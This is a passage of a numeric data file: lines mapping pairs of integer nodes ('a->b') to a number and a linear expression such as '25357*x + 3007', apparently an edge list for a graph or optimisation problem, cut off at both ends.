+ 2800\n77->86\t53\t25357*x + 3007\n18->47\t90\t101891*x + 13065\n81->46\t74\t33703*x + 7058\n45->67\t117\t61843*x + 6365\n35->35\t88\t34607*x + 590\n84->93\t98\t36721*x + 2090\n40->19\t61\t78541*x + 2083\n49->92\t51\t45943*x + 3810\n47->63\t60\t52249*x + 1493\n41->55\t39\t58967*x + 5337\n63->55\t39\t63599*x + 2847\n87->65\t95\t12569*x + 8064\n78->0\t33\t84521*x + 8443\n2->82\t40\t75193*x + 7444\n8->11\t43\t54673*x + 4718\n67->64\t70\t68791*x + 5344\n93->63\t60\t86351*x + 13625\n91->85\t83\t87421*x + 14570\n62->14\t77\t6829*x + 7599\n95->52\t42\t48781*x + 3427\n97->98\t93\t18061*x + 3580\n42->49\t68\t8597*x + 3458\n7->45\t13\t1499*x + 6665\n16->8\t49\t11159*x + 4759\n57->63\t60\t3907*x + 7325\n5->5\t82\t38839*x + 931\n85->35\t88\t24659*x + 7799\n44->93\t98\t9491*x + 2551\n4->32\t69\t73847*x + 3146\n88->4\t48\t70009*x + 2655\n29->51\t97\t75503*x + 8070\n16->58\t35\t48593*x + 1408\n63->98\t93\t78487*x + 4058\n38->19\t61\t31601*x + 2806\n17->64\t70\t54833*x + 4149\n62->53\t120\t77153*x + 5220\n91->88\t71\t1163*x + 272\n92->80\t110\t39371*x + 7736\n82->90\t86\t1811*x + 2148\n8->16\t66\t8237*x + 4973\n4->75\t56\t5171*x + 5957\n82->14\t77\t36781*x + 2263\n17->33\t122\t78017*x + 6562\n75->20\t62\t15601*x + 5622\n58->70\t57\t79301*x + 7276\n46->91\t91\t74203*x + 5031\n58->75\t56\t13249*x + 1834\n68->12\t101\t30491*x + 679\n38->38\t75\t68767*x + 6403\n89->62\t103\t78577*x + 4176\n40->49\t68\t38959*x + 5444\n83->0\t33\t36871*x + 4648\n25->25\t52\t21467*x + 859\n41->99\t54\t34589*x + 902\n95->43\t105\t18973*x + 3709\n64->68\t36\t18233*x + 2673\n51->68\t36\t40487*x + 4510\n31->62\t103\t34033*x + 5567\n26->53\t120\t13913*x + 7023\n70->9\t115\t47581*x + 7497\n80->73\t102\t44087*x + 1468\n91->53\t120\t17491*x + 7032\n55->14\t77\t27943*x + 772\n84->82\t40\t67751*x + 5005\n44->20\t62\t70919*x + 4195\n7->6\t123\t96931*x + 12160\n80->12\t101\t10687*x + 7673\n41->62\t103\t2339*x + 486\n95->73\t102\t38261*x + 1974\n81->86\t53\t61979*x + 2996\n67->56\t119\t84391*x + 12672\n16->54\t94\t103669*x + 11656\n8->99\t54\t97579*x + 16370\n97->82\t40\t89273*x + 12601\n92->98\t93\t181*x + 5968\n11->21\t9\t18521*x + 1221\n90->20\t62\t46919*x + 3358\n8->19\t61\t20857*x + 5209\n74->67\t117\t62327*x + 6480\n98->24\t65\t76423*x + 305\n37->46\t74\t56993*x + 4783\n14->86\t53\t77323*x + 5620\n32->59\t84\t87151*x + 9035\n73->54\t94\t30089*x + 7949\n56->66\t44\t67819*x + 736\n35->21\t9\t22817*x + 5087\n69->38\t75\t65699*x + 5552\n95->93\t98\t31181*x + 5212\n14->89\t107\t83621*x + 4268\n62->68\t36\t69341*x + 773\n52->16\t66\t54167*x + 4462\n49->63\t60\t47659*x + 2422\n98->95\t111\t83663*x + 7598\n67->93\t98\t23369*x + 4280\n92->39\t113\t10499*x + 7199\n75->70\t57\t57991*x + 3570\n40->4\t48\t58441*x + 6210\n26->34\t41\t99089*x + 10221\n73->28\t50\t102931*x + 11917\n11->87\t121\t59833*x + 4246\n90->60\t85\t25793*x + 275\n70->89\t107\t61819*x + 3551\n86->5\t82\t75211*x + 4840\n34->65\t95\t32299*x + 7783\n41->54\t94\t96827*x + 13671\n47->85\t83\t15467*x + 3703\n30->62\t103\t16903*x + 7884\n29->36\t79\t87613*x + 15496\n14->15\t63\t9467*x + 5512\n24->54\t94\t39227*x + 5648\n7->37\t114\t69763*x + 1233\n1->92\t51\t101161*x + 11598\n11->55\t39\t64279*x + 6073\n67->13\t99\t50363*x + 5966\n12->66\t44\t66337*x + 5935\n24->59\t84\t26669*x + 2117\n55->69\t59\t103549*x + 15403\n21->97\t108\t59149*x + 1429\n4->30\t96\t79399*x + 924\n18->37\t114\t29209*x + 7603\n75->15\t63\t102293*x + 14402\n18->69\t59\t37781*x + 5904\n67->72\t92\t52727*x + 2965\n95->29\t38\t63803*x + 7456\n96->64\t70\t56333*x + 8169\n39->9\t115\t6763*x + 3774\n93->22\t64\t70393*x + 2001\n0->51\t97\t94079*x + 10354\n49->81\t32\t55079*x + 1761\n21->37\t114\t97007*x + 10819\n54->7\t126\t42139*x + 6602\n90->91\t91\t46439*x + 3650\n62->76\t124\t71429*x + 3000\n76->71\t37\t59357*x + 413\n12->10\t46\t8863*x + 6347\n58->84\t89\t33589*x + 7331\n73->70\t57\t62507*x + 4825\n12->98\t93\t16661*x + 3077\n53->79\t100\t90067*x + 9283\n68->30\t96\t25219*x + 3957\n76->51\t97\t56437*x + 5655\n28->72\t92\t18149*x + 655\n62->24\t65\t84919*x + 9936\n20->47\t90\t35461*x + 521\n53->78\t76\t35069*x + 6436\n50->10\t46\t35573*x + 5549\n76->69\t59\t7699*x + 5430\n10->71\t37\t61561*x + 7880\n15->37\t114\t15767*x + 7067\n62->12\t101\t11173*x\n4->82\t40\t10909*x + 3967\n51->34\t41\t43991*x + 1670\n45->48\t78\t82903*x + 4336\n34->94\t125\t93983*x + 15776\n48->0\t33\t4253*x + 138\n80->19\t61\t93407*x + 14458\n86->77\t106\t70957*x + 6972\n5->11\t43\t2203*x + 6338\n26->95\t111\t45587*x + 5919\n77->55\t39\t50333*x + 5041\n88->6\t123\t91801*x + 8361\n41->75\t56\t100747*x + 11535\n3->58\t35\t89017*x + 9792\n85->91\t91\t85627*x + 9449\n6->95\t111\t63839*x + 8131\n82->48\t78\t95723*x + 11980\n74->49\t68\t88643*x + 9507\n81->85\t83\t77509*x + 7494\n87->16\t66\t15661*x + 4084\n80->92\t51\t67523*x + 526\n44->99\t54\t85331*x + 13337\n41->45\t13\t27539*x + 7439\n33->51\t97\t51203*x + 4266\n32->9\t115\t2777*x + 3202\n7->59\t84\t14633*x + 513\n50->81\t32\t40093*x + 1236\n82->65\t95\t30727*x + 8157\n65->34\t41\t69337*x + 8117\n26->23\t11\t52903*x + 6783\n15->89\t107\t102071*x + 11612\n42->94\t125\t27283*x + 7196\n5->42\t87\t45139*x + 4931\n41->76\t124\t40697*x + 7312\n42->28\t50\t97553*x + 9701\n55->35\t88\t17419*x + 4422\n84->42\t87\t8707*x + 1409\n25->72\t92\t67429*x + 5248\n61->57\t109\t15629*x + 3694\n94->4\t48\t86243*x + 12459\n65->36\t79\t32687*x + 6124\n47->35\t88\t5839*x + 6700\n99->28\t50\t102677*x + 8355\n31->36\t79\t1571*x + 3507\n2->51\t97\t39317*x + 5977\n28->63\t60\t14629*x + 6102\n8->50\t116\t55373*x + 1502\n24->90\t86\t48847*x + 7600\n59->68\t36\t54877*x + 1313\n40->6\t123\t88771*x + 13810\n26->64\t70\t63493*x + 6250\n98->17\t104\t63059*x + 7064\n76->82\t40\t16451*x + 4655\n79->71\t37\t26903*x + 289\n52->31\t47\t1367*x + 4152\n42->99\t54\t92779*x + 13423\n77->50\t116\t30013*x + 1261\n60->78\t76\t15797*x + 4164\n46->67\t117\t67261*x + 3831\n30->74\t55\t15791*x + 3052\n25->52\t42\t12583*x + 1856\n2->94\t125\t23981*x + 7157\n37->69\t59\t2083*x + 656\n77->15\t63\t66977*x + 994\n67->38\t75\t38653*x + 695\n35->60\t85\t90089*x + 15073\n66->68\t36\t83653*x + 5599\n36->8\t49\t45263*x + 4863\n53->19\t61\t69259*x + 7100\n72->33\t122\t70297*x + 2328\n36->34\t41\t14771*x + 5588\n6->70\t57\t39157*x + 2574\n51->27\t58\t72337*x + 259\n18->45\t13\t104729*x + 8522\n40->14\t77\t95507*x + 12669\n32->89\t107\t44953*x + 3662\n22->3\t118\t29009*x + 2091\n95->5\t82\t84121*x + 10253\n66->70\t57\t97423*x + 8224\n94->2\t72\t77137*x + 427\n2->24\t65\t63799*x + 2572\n39->8\t49\t51349*x + 1180\n67->41\t73\t15733*x + 4074\n92->62\t103\t92227*x + 13124\n44->19\t61\t16829*x + 1432\n12->21\t9\t103319*x + 13399\n56->52\t42\t64937*x + 1581\n55->54\t94\t6481*x + 7864\n43->5\t82\t25703*x + 1853\n79->85\t83\t73783*x + 8053\n79->20\t62\t2153*x + 821\n38->53\t120\t48823*x + 1532\n39->44\t45\t69737*x + 6145\n95->95\t111\t77801*x + 4945\n87->48\t78\t93761*x + 10437\n85->57\t109\t20407*x + 4867\n9->34\t41\t21589*x + 8034\n85->98\t93\t78857*x + 5153\n1->29\t38\t77491*x + 3702\n83->93\t98\t93827*x + 13056\n22->16\t66\t52267*x + 5242\n75->92\t51\t30931*x + 1121\n82->88\t71\t74521*x + 334\n93->67\t117\t27067*x + 3409\n78->24\t65\t74747*x + 7751\n0->59\t84\t86369*x + 14775\n38->24\t65\t99581*x + 12134\n3->72\t92\t67961*x + 2999\n65->76\t124\t53897*x + 3395\n46->84\t89\t70769*x + 4523\n75->8\t49\t93913*x + 8448\n24->92\t51\t93253*x + 15582\n93->64\t70\t14159*x + 448\n57->82\t40\t86341*x + 13871\n89->85\t83\t15937*x + 914\n89->90\t86\t39373*x + 4757\n39->39\t113\t81619*x + 2487\n86->67\t117\t25523*x + 1326\n93->98\t93\t45433*x + 4230\n23->53\t120\t100703*x + 11512\n9->49\t68\t58193*x + 1743\n49->23\t11\t61483*x + 5006\n71->85\t83\t58631*x + 976\n18->62\t103\t57179*x + 762\n52->94\t125\t20771*x + 2338\n92->7\t126\t46639*x + 1756\n68->89\t107\t73361*x + 5859\n34->7\t126\t66617*x + 4949\n63->58\t35\t34543*x + 3391\n90->8\t49\t431*x + 1516\n73->23\t11\t49451*x + 3871\n70->21\t9\t17539*x + 4271\n46->41\t73\t43159*x + 192\n18->5\t82\t67933*x + 5067\n84->71\t37\t54623*x + 8098\n43->91\t91\t80107*x + 5681\n29->5\t82\t102593*x + 15213\n53->45\t13\t65011*x + 3321\n30->25\t52\t98869*x + 11662\n45->7\t126\t39509*x + 6354\n5->84\t89\t63313*x + 1527\n67->83\t12\t93809*x + 15910\n94->43\t105\t2131*x + 295\n38->39\t113\t96907*x + 12640\n82->20\t62\t14779*x + 5812\n9->37\t114\t56473*x + 4727\n9->23\t11\t48611*x + 4323\n99->74\t55\t22877*x + 7729\n96->8\t49\t46093*x + 7361\n19->72\t92\t11681*x + 5930\n5->81\t32\t13313*x + 2768\n92->33\t122\t43933*x + 5219\n19->69\t59\t97301*x + 11493\n30->9\t115\t70999*x + 5727\n74->78\t76\t77263*x + 4977\n36->0\t33\t80191*x + 1246\n60->27\t58\t36293*x + 3640\n42->34\t41\t4703*x + 1438\n24->17\t104\t13513*x + 7669\n18->97\t108\t69193*x + 5814\n10->94\t125\t87011*x + 16375\n43->97\t108\t56597*x + 170\n24->45\t13\t104161*x + 14095\n97->99\t54\t80209*x + 34\n34->82\t40\t31627*x + 1916\n5->99\t54\t22993*x + 5290\n81->96\t67\t103393*x + 8814\n25->15\t63\t13591*x + 3290\n91->87\t121\t32579*x + 144\n52->18\t80\t77261*x + 3085\n90->57\t109\t42853*x + 6223\n24->8\t49\t19421*x + 7965\n58->32\t69\t11411*x + 668\n3->27\t58\t65449*x + 2915\n79->14\t77\t30047*x + 7807\n87->93\t98\t92753*x + 12214\n44->38\t75\t102911*x + 14321\n9->87\t121\t13451*x + 7241\n51->37\t114\t48871*x + 5537\n81->35\t88\t101929*x + 11556\n57->56\t119\t809*x + 4517\n27->88\t71\t13219*x + 6726\n71->75\t56\t223*x + 1127\n1->45\t13\t50581*x + 4302\n72->34\t41\t43609*x + 2410\n26->4\t48\t15683*x + 2412\n37->24\t65\t2003*x + 2134\n80->7\t126\t15137*x + 6954\n74->50\t116\t103177*x + 8485\n54->98\t93\t509*x + 1984\n1->54\t94\t89917*x + 13260\n48->19\t61\t59221*x + 6068\n77->9\t115\t88903*x + 11219\n88->68\t36\t16547*x + 3538\n90->48\t78\t57487*x + 2818\n51->82\t40\t72689*x + 576\n96->83\t12\t78583*x + 5029\n25->9\t115\t46589*x + 6745\n79->23\t11\t67153*x + 5471\n94->64\t70\t19507*x + 1688\n27->14\t77\t63353*x + 1304\n61->70\t57\t50461*x + 6708\n84->74\t55\t57803*x + 5943\n44->55\t39\t22093*x + 2906\n60->46\t74\t50287*x + 922\n48->61\t10\t53147*x + 3846\n13->54\t94\t98953*x + 9932\n92->70\t57\t9293*x + 45\n49->83\t12\t19993*x + 6109\n60->5\t82\t63241*x + 2357\n43->83\t12\t91873*x + 10760\n75->31\t47\t26641*x + 5872\n5->16\t66\t102013*x + 10549\n19->95\t111\t75323*x + 1309\n66->11\t43\t94441*x + 9219\n96->81\t32\t19559*x + 1307\n88->87\t121\t16979*x + 4830\n0->19\t61\t89681*x + 8309\n84->8\t49\t46769*x + 2010\n75->88\t71\t24763*x + 3514\n6->84\t89\t71443*x + 5793\n23->58\t35\t58367*x + 2424\n14->31\t47\t9857*x + 3760\n96->48\t78\t51199*x + 7925\n29->62\t103\t43541*x + 5511\n55->96\t67\t32077*x + 985\n16->14\t77\t40897*x + 7731\n99->55\t39\t22159*x + 6837\n32->22\t64\t63647*x + 4673\n43->6\t123\t95701*x + 11969\n64->61\t10\t32987*x + 7676\n31->38\t75\t69593*x + 2030\n8->72\t92\t44533*x + 5222\n84->11\t43\t60029*x + 2187\n91->60\t85\t113*x + 5080\n18->1\t112\t89153*x + 13476\n15->70\t57\t49783*x + 4122\n63->61\t10\t54401*x + 1497\n14->84\t89\t88003*x + 14541\n15->7\t126\t13327*x + 5718\n41->37\t114\t73867*x + 729\n50->0\t33\t75721*x + 1980\n23->98\t93\t65309*x + 2909\n8->58\t35\t15013*x + 2203\n12->30\t96\t42821*x + 6776\n99->77\t106\t34961*x + 3851\n82->59\t84\t87337*x + 13718\n6->87\t121\t68581*x + 1671\n11->33\t122\t35851*x + 1846\n99->66\t44\t65633*x + 7631\n22->11\t43\t91297*x + 8663\n67->17\t104\t52579*x + 5192\n59->83\t12\t86291*x + 12673\n60->60\t85\t64319*x + 4513\n98->76\t124\t68371*x + 5130\n32->57\t109\t98597*x + 15613\n48->42\t87\t58991*x + 3120\n38->96\t67\t47819*x + 3591\n43->28\t50\t59729*x + 1034\n81->5\t82\t45763*x + 6066\n94->31\t47\t36061*x + 1564\n62->65\t95\t30637*x + 4211\n24->25\t52\t20389*x + 4984\n70->16\t66\t81551*x + 5392\n40->29\t38\t65927*x + 5519\n51->5\t82\t28057*x + 7806\n86->18\t80\t49757*x + 1198\n23->48\t78\t8923*x + 19\n30->31\t47\t93553*x + 13204\n60->3\t118\t24877*x + 3346\n10->14\t77\t40559*x + 7035\n8->44\t45\t30497*x + 3295\n40->26\t81\t39409*x + 5673\n52->84\t89\t25147*x + 2183\n28->65\t95\t81239*x + 1387\n82->70\t57\t27457*x + 5181\n91->48\t78\t31121*x + 1782\n8->49\t68\t647*x + 5547\n3->18\t80\t91571*x + 14917\n78->71\t37\t81019*x + 6628\n52->88\t71\t49801*x + 6244\n72->89\t107\t95021*x + 12577\n40->13\t99\t51157*x + 7556\n2->44\t45\t79801*x + 6895\n35->55\t39\t23911*x + 3844\n95->12\t101\t1723*x + 2716\n92->84\t89\t80747*x + 5779\n20->46\t74\t33521*x + 5770\n68->66\t44\t79699*x + 543\n1->48\t78\t44531*x + 6074\n34->36\t79\t72227*x + 6661\n77->41\t73\t60013*x + 1824\n40->83\t12\t4787*x + 1529\n60->82\t40\t63179*x + 5536\n89->86\t53\t42169*x + 5932\n55->34\t41\t44491*x + 6024\n57->37\t114\t102563*x + 8439\n40->65\t95\t5531*x + 7989\n43->8\t49\t1123*x + 6311\n52->35\t88\t54217*x + 7615\n93->55\t39\t47699*x + 6481\n34->86\t53\t3089*x + 6748\n64->59\t84\t46643*x + 4051\n46->33\t122\t23497*x + 2371\n6->60\t85\t15373*x + 5195\n73->91\t91\t5237*x + 5561\n28->39\t113\t45179*x + 54\n83->23\t11\t73309*x + 5649\n37->80\t110\t49391*x + 2305\n45->86\t53\t32573*x + 7303\n26->40\t34\t311*x + 5802\n36->50\t116\t61687*x + 463\n77->73\t102\t1901*x + 2919\n81->48\t78\t62597*x + 210\n64->29\t38\t102679*x + 10050\n5->52\t42\t4139*x + 90\n45->3\t118\t11057*x + 3402\n45->45\t13\t95561*x + 13632\n46->58\t35\t98779*x + 9451\n73->66\t44\t66377*x + 6\n49->69\t59\t4057*x + 1851\n61->7\t126\t99523*x + 12352\n45->11\t43\t104311*x + 10595\n17->20\t62\t90977*x + 12156\n2->6\t123\t43943*x + 7762\n44->83\t12\t13217*x + 4333\n31->8\t49\t69011*x + 3755\n66->79\t100\t63773*x + 5258\n68->86\t53\t58831*x + 4389\n83->35\t88\t78797*x + 1544\n19->86\t53\t65173*x + 3601\n97->15\t63\t32957*x + 1920\n40->66\t44\t58321*x + 830\n88->46\t74\t92707*x + 10700\n78->49\t68\t47279*x + 1064\n73->61\t10\t52783*x + 3596\n38->3\t118\t28051*x + 3913\n14->21\t9\t88261*x + 12584\n48->11\t43\t102001*x + 9836\n56->40\t34\t38449*x + 5165\n8->94\t125\t98407*x + 11100\n53->22\t64\t67273*x + 5861\n63->14\t77\t87991*x + 16185\n36->47\t90\t81527*x + 4616\n77->2\t72\t479*x + 6865\n90->83\t12\t52733*x + 7059\n74->35\t88\t6949*x + 5572\n5->93\t98\t39679*x + 2157\n13->20\t62\t15227*x + 5196\n68->5\t82\t79687*x + 8138\n20->93\t98\t40771*x + 6284\n42->27\t58\t51719*x + 4626\n42->40\t34\t21559*x + 243\n53->85\t83\t2459*x + 3699\n57->64\t70\t87119*x + 15204\n29->10\t46\t71293*x + 6651\n72->69\t59\t13627*x + 2375\n97->20\t62\t25621*x + 2443\n31->7\t126\t52289*x + 3379\n37->72\t92\t82463*x + 7362\n51->91\t91\t41143*x + 7195\n16->12\t101\t69439*x + 3502\n33->56\t119\t64157*x + 2279\n25->92\t51\t95071*x + 15715\n10->64\t70\t95213*x + 15734\n86->53\t120\t23603*x + 3020\n64->49\t68\t63719*x + 7093\n71->47\t90\t34147*x + 6015\n94->88\t71\t17351*x + 109\n3->52\t42\t20509*x + 1416\n79->35\t88\t41183*x + 4739\n74->70\t57\t1949*x + 2579\n9->61\t10\t7211*x + 6983\n51->92\t51\t50417*x + 2156\n79->98\t93\t16481*x + 1357\n59->12\t101\t46441*x + 2249\n37->41\t73\t51487*x + 948\n62->43\t105\t93491*x + 14617\n77->92\t51\t92507*x + 11208\n56->34\t41\t48809*x + 7382\n67->42\t87\t38903*x + 68\n85->77\t106\t75329*x + 327\n98->64\t70\t47087*x + 3995\n98->48\t78\t44563*x + 7534\n0->7\t126\t91249*x + 9276\n10->49\t68\t79967*x + 1342\n11->26\t81\t36973*x + 8080\n68->67\t117\t64717*x + 1314\n51->39\t113\t24083*x + 1626\n95->86\t53\t3449*x + 3900\n79->45\t13\t79411*x + 4890\n22->94\t125\t47381*x + 856\n36->91\t91\t16187*x + 6608\n16->46\t74\t26821*x + 883\n62->80\t110\t24953*x + 3157\n22->79\t100\t48497*x + 1714\n88->1\t112\t47431*x + 2523\n65->78\t76\t62351*x + 7261\n37->36\t79\t63421*x + 1454\n65->54\t94\t70573*x + 5853\n49->70\t57\t14087*x + 5247\n17->42\t87\t98947*x + 14312\n47->20\t62\t601*x + 664\n75->1\t112\t35311*x + 1966\n70->98\t93\t75037*x + 2144\n69->75\t56\t89501*x + 15438\n75->43\t105\t13121*x + 1661\n67->55\t39\t9203*x + 3505\n38->71\t37\t35993*x + 333\n84->2\t72\t71411*x + 5956\n41->9\t115\t4507*x + 7255\n62->59\t84\t65063*x + 5504\n66->97\t108\t88721*x + 15843\n40->81\t32\t52361*x + 7372\n51->75\t56\t36319*x + 805\n25->21\t9\t75571*x + 2246\n28->9\t115\t45317*x + 3456\n38->57\t109\t45887*x + 2161\n57->80\t110\t92767*x + 15556\n33->9\t115\t22171*x + 3010\n22->5\t82\t2237*x + 3894\n26->50\t116\t41957*x + 5757\n57->6\t123\t32917*x + 738\n28->77\t106\t61333*x + 7535\n17->77\t106\t64553*x + 7245\n66->7\t126\t97843*x + 14559\n83->5\t82\t13789*x + 222\n44->95\t111\t40577*x + 1928\n96->93\t98\t74311*x + 6213\n55->23\t11\t103357*x + 13388\n2->31\t47\t90917*x + 13672\n50->78\t76\t12637*x + 6407\n22->9\t115\t49681*x + 5728\n56->82\t40\t103387*x + 9313\n85->75\t56\t60083*x + 6089\n19->97\t108\t59699*x + 4713\n99->47\t90\t4999*x + 2765\n58->99\t54\t40493*x + 3014\n99->38\t75\t93601*x + 12042\n70->76\t124\t63611*x + 5874\n53->7\t126\t100591*x + 14071\n0->20\t62\t36923*x + 7508\n34->9\t115\t5449*x + 1495\n18->68\t36\t49339*x + 1955\n47->67\t117\t76603*x + 5741\n77->62\t103\t83561*x + 5952\n66->96\t67\t11069*x + 940\n37->96\t67\t94547*x + 12800\n25->41\t73\t76541*x + 225\n65->72\t92\t25339*x + 596\n50->95\t111\t98689*x + 8757\n24->10\t46\t58771*x + 1797\n35->26\t81\t68531*x + 5336\n52->79\t100\t50707*x + 1119\n94->39\t113\t347*x + 1811\n90->97\t108\t33827*x + 4305\n61->67\t117\t39839*x + 644\n89->55\t39\t45979*x + 8171\n19->43\t105\t47599*x + 5961\n60->94\t125\t98887*x + 15736\n59->26\t81\t32839*x + 3249\n30->91\t91\t74561*x + 3486\n0->63\t60\t96703*x + 14765\n83->45\t13\t63607*x + 4227\n72->22\t64\t59011*x + 4978\n16->25\t52\t100649*x + 9245\n23->59\t84\t98419*x + 14788\n26->3\t118\t49811*x + 3473\n1->31\t47\t32189*x + 320\n47->93\t98\t7933*x + 457\n83->65\t95\t56671*x + 5602\n59->71\t37\t59387*x + 4832\n31->23\t11\t2579*x + 6078\n59->95\t111\t41813*x + 641\n47->26\t81\t81071*x + 3764\n53->82\t40\t9511*x + 3899\n25->28\t50\t48541*x + 7814\n0->29\t38\t73939*x + 7800\n64->76\t124\t96697*x + 12948\n35->48\t78\t60217*x + 7715\n34->77\t106\t9007*x + 2568\n63->64\t70\t91129*x + 10169\n49->99\t54\t101021*x + 9674\n53->59\t84\t12791*x + 4777\n99->36\t79\t12911*x + 566\n54->62\t103\t23957*x + 7899\n96->68\t36\t29383*x + 6127\n69->26\t81\t24239*x + 4101\n36->61\t10\t80263*x + 7738\n65->47\t90\t2963*x + 2464\n66->34\t41\t101467*x + 13255\n3->16\t66\t35149*x + 3126\n13->97\t108\t12713*x + 4501\n51->78\t76\t23099*x + 3453\n80->24\t65\t44269*x + 6959\n65->51\t97\t52879*x + 2688\n25->27\t58\t100189*x + 15524\n78->8\t49\t72253*x + 7499\n69->84\t89\t51659*x + 5612\n87->8\t49\t73609*x + 7222\n57->91\t91\t88681*x + 9376\n25->14\t77\t26927*x + 6976\n28->32\t69\t18701*x + 3752\n91->35\t88\t50989*x + 6065\n39->76\t124\t6637*x + 7491\n46->74\t55\t16001*x + 636\n82->3\t118\t66643*x + 616\n18->72\t92\t71119*x + 6967\n39->5\t82\t88007*x + 14916\n40->90\t86\t30983*x + 7874\n7->2\t72\t13339*x + 4625\n50->50\t116\t12163*x + 2941\n56->89\t107\t99871*x + 11947\n69->46\t74\t23719*x + 1077\n35->50\t116\t66943*x + 5825\n52->21\t9\t51217*x + 7022\n4->25\t52\t42437*x + 258\n44->23\t11\t42023*x + 2064\n18->19\t61\t97771*x + 9959\n94->35\t88\t52363*x + 115\n69->34\t41\t103993*x + 15505\n91->69\t59\t11497*x + 7287\n41->35\t88\t67187*x + 7855\n87->33\t122\t13669*x + 7897\n22->50\t116\t23689*x + 3071\n92->78\t76\t42929*x + 1191\n13->75\t56\t56239*x + 4844\n39->67\t117\t55021*x + 2252\n49->98\t93\t28649*x + 294\n79->29\t38\t88607*x + 14183\n1->27\t58\t41681*x + 5021\n61->81\t32\t50683*x + 5147\n35->43\t105\t100693*x + 10497\n32->65\t95\t72077*x + 3353\n53->18\t80\t11867*x + 7579\n21->34\t41\t25867*x + 5254\n37->75\t56\t30223*x + 6470\n11->11\t43\t68489*x + 1444\n78->31\t47\t39671*x + 5916\n35->17\t104\t26017*x + 1738\n90->92\t51\t72901*x + 7106\n92->59\t84\t27673*x + 3803\n72->79\t100\t61151*x + 1613\n7->98\t93\t92111*x + 16186\n82->10\t46\t15187*x + 6987\n59->24\t65\t17789*x + 2034\n61->1\t112\t15439*x + 179\n43->52\t42\t84811*x + 11022\n46->10\t46\t9473*x + 1255\n62->28\t50\t7283*x + 6716\n14->26\t81\t88019*x + 13034\n9->11\t43\t75013*x + 1277\n5->63\t60\t56477*x + 1712\n85->34\t41\t30181*x + 3063\n13->22\t64\t18661*x + 4878\n85->74\t55\t13759*x + 7099\n69->65\t95\t10853*x + 2622\n56->95\t111\t70123*x + 5069\n81->12\t101\t46831*x + 7256\n38->95\t111\t86531*x + 11876\n6->67\t117\t92003*x + 8734\n46->32\t69\t93787*x + 10218\n78->72\t92\t16069*x + 2853\n54->37\t114\t19069*x + 335\n85->64\t70\t39359*x + 3021\n70->54\t94\t53881*x + 7458\n86->7\t126\t40163*x + 6657\n93->32\t69\t17021*x + 1912\n97->7\t126\t82051*x + 344\n30->96\t67\t28279*x + 2497\n29->99\t54\t14009*x + 4162\n19->62\t103\t32401*x + 6494\n41->96\t67\t14369*x + 2990\n33->66\t44\t17359*x + 5794\n17->6\t123\t76157*x + 1682\n74->80\t110\t18593*x + 5367\n23->92\t51\t89069*x + 14446\n0->27\t58\t96739*x + 13878\n27->86\t53\t79669*x + 5407\n50->39\t113\t83719*x + 3280\n2->48\t78\t11719*x + 5160\n33->22\t64\t17117*x + 431\n82->89\t107\t15959*x + 6322\n70->19\t61\t10253*x + 3637\n86->99\t54\t53069*x + 3885\n43->7\t126\t33053*x + 588\n78->52\t42\t3163*x + 3786\n87->24\t65\t67577*x + 2668\n96->22\t64\t8599*x + 2043\n3->19\t61\t90823*x + 9265\n99->82\t40\t65029*x + 6003\n90->58\t35\t48661*x + 4249\n99->88\t71\t33503*x + 6898\n21->7\t126\t83477*x + 961\n44->84\t89\t89443*x + 15663\n25->12\t101\t55217*x + 3454\n27->22\t64\t51481*x + 7213\n3->36\t79\t95737*x + 10601\n67->8\t49\t17341*x + 4263\n72->81\t32\t44281*x + 6177\n39->85\t83\t13619*x + 7193\n27->99\t54\t78101*x + 7969\n6->99\t54\t6733*x + 497\n16->74\t55\t33769*x + 6992\n84->52\t42\t1153*x + 369\n57->89\t107\t33359*x + 6744\n35->86\t53\t17191*x + 3418\n83->12\t101\t5077*x + 2493\n27->70\t57\t56311*x + 6647\n40->25\t52\t8663*x + 4951\n16->52\t42\t13997*x + 3943\n70->61\t10\t92237*x + 9261\n2->99\t54\t43867*x + 6221\n73->11\t43\t41047*x + 4786\n64->2\t72\t2797*x + 4874\n80->96\t67\t271*x + 5607\n70->2\t72\t46549*x + 1185\n99->72\t92\t18013*x + 6711\n73->62\t103\t53453*x + 7209\n23->87\t121\t62987*x + 3265\n7->49\t68\t7703*x + 7833\n54->26\t81\t11987*x + 3548\n5->65\t95\t104147*x + 11906\n98->67\t117\t30059*x + 5442\n98->61\t10\t77047*x + 1540\n68->84\t89\t10891*x + 3101\n74->62\t103\t44587*x + 3190\n82->31\t47\t60869*x + 3713\n81->89\t107\t69001*x + 4514\n94->67\t117\t11933*x + 5669\n87->99\t54\t62297*x + 8071\n77->90\t86\t98081*x + 11442\n38->6\t123\t92383*x + 10403\n37->22\t64\t94823*x + 9623\n58->30\t96\t40193*x + 4847\n89->3\t118\t57529*x + 1888\n29->66\t44\t78919*x + 2262\n36->64\t70\t1583*x + 2739\n1->12\t101\t11699*x + 3149\n52->3\t118\t11213*x + 6547\n8->31\t47\t10007*x + 3509\n29->58\t35\t16223*x + 4914\n21->96\t67\t15991*x + 3471\n24->69\t59\t98227*x + 15390\n3->79\t100\t39521*x + 1832\n64->88\t71\t84503*x + 10226\n28->17\t104\t83003*x + 7405\n55->31\t47\t87743*x + 11780\n45->19\t61\t23671*x + 6950\n21->73\t102\t28537*x + 3141\n64->34\t41\t94273*x + 14540\n35->57\t109\t101383*x + 11790\n13->45\t13\t60631*x + 4014\n23->35\t88\t78233*x + 4095\n6->22\t64\t78317*x + 1621\n70->68\t36\t32141*x + 4173\n52->46\t74\t61631*x + 4808\n77->36\t79\t66763*x + 10\n20->90\t86\t42839*x + 1829\n28->33\t122\t23053*x + 6424\n81->67\t117\t17623*x + 89\n71->13\t99\t79063*x + 436\n47->16\t66\t23197*x + 407\n62->8\t49\t13721*x + 559\n53->64\t70\t92857*x + 12226\n30->15\t63\t70729*x + 5524\n29->82\t40\t29243*x + 5228\n84->96\t67\t97387*x + 10523\n67->9\t115\t91457*x + 14456\n96->38\t75\t84131*x + 15559\n9->13\t99\t29269*x + 1268\n62->64\t70\t42793*x + 5635\n96->89\t107\t65551*x + 6579\n4->18\t80\t101501*x + 13299\n12->33\t122\t28751*x + 2899\n94->78\t76\t10333*x + 317\n4->39\t113\t42293*x + 4834\n0->97\t108\t26393*x + 3123\n59->18\t80\t79823*x + 2841\n78->30\t96\t28403*x + 1044\n49->59\t84\t76607*x + 7449\n16->56\t119\t18191*x + 6996\n61->68\t36\t62873*x + 7306\n30->34\t41\t65827*x + 2711\n91->27\t58\t81943*x + 4255\n63->80\t110\t65707*x + 6357\n79->62\t103\t20327*x + 1110\n20->63\t60\t63907*x + 6821\n61->16\t66\t32251*x + 5617\n81->7\t126\t31247*x + 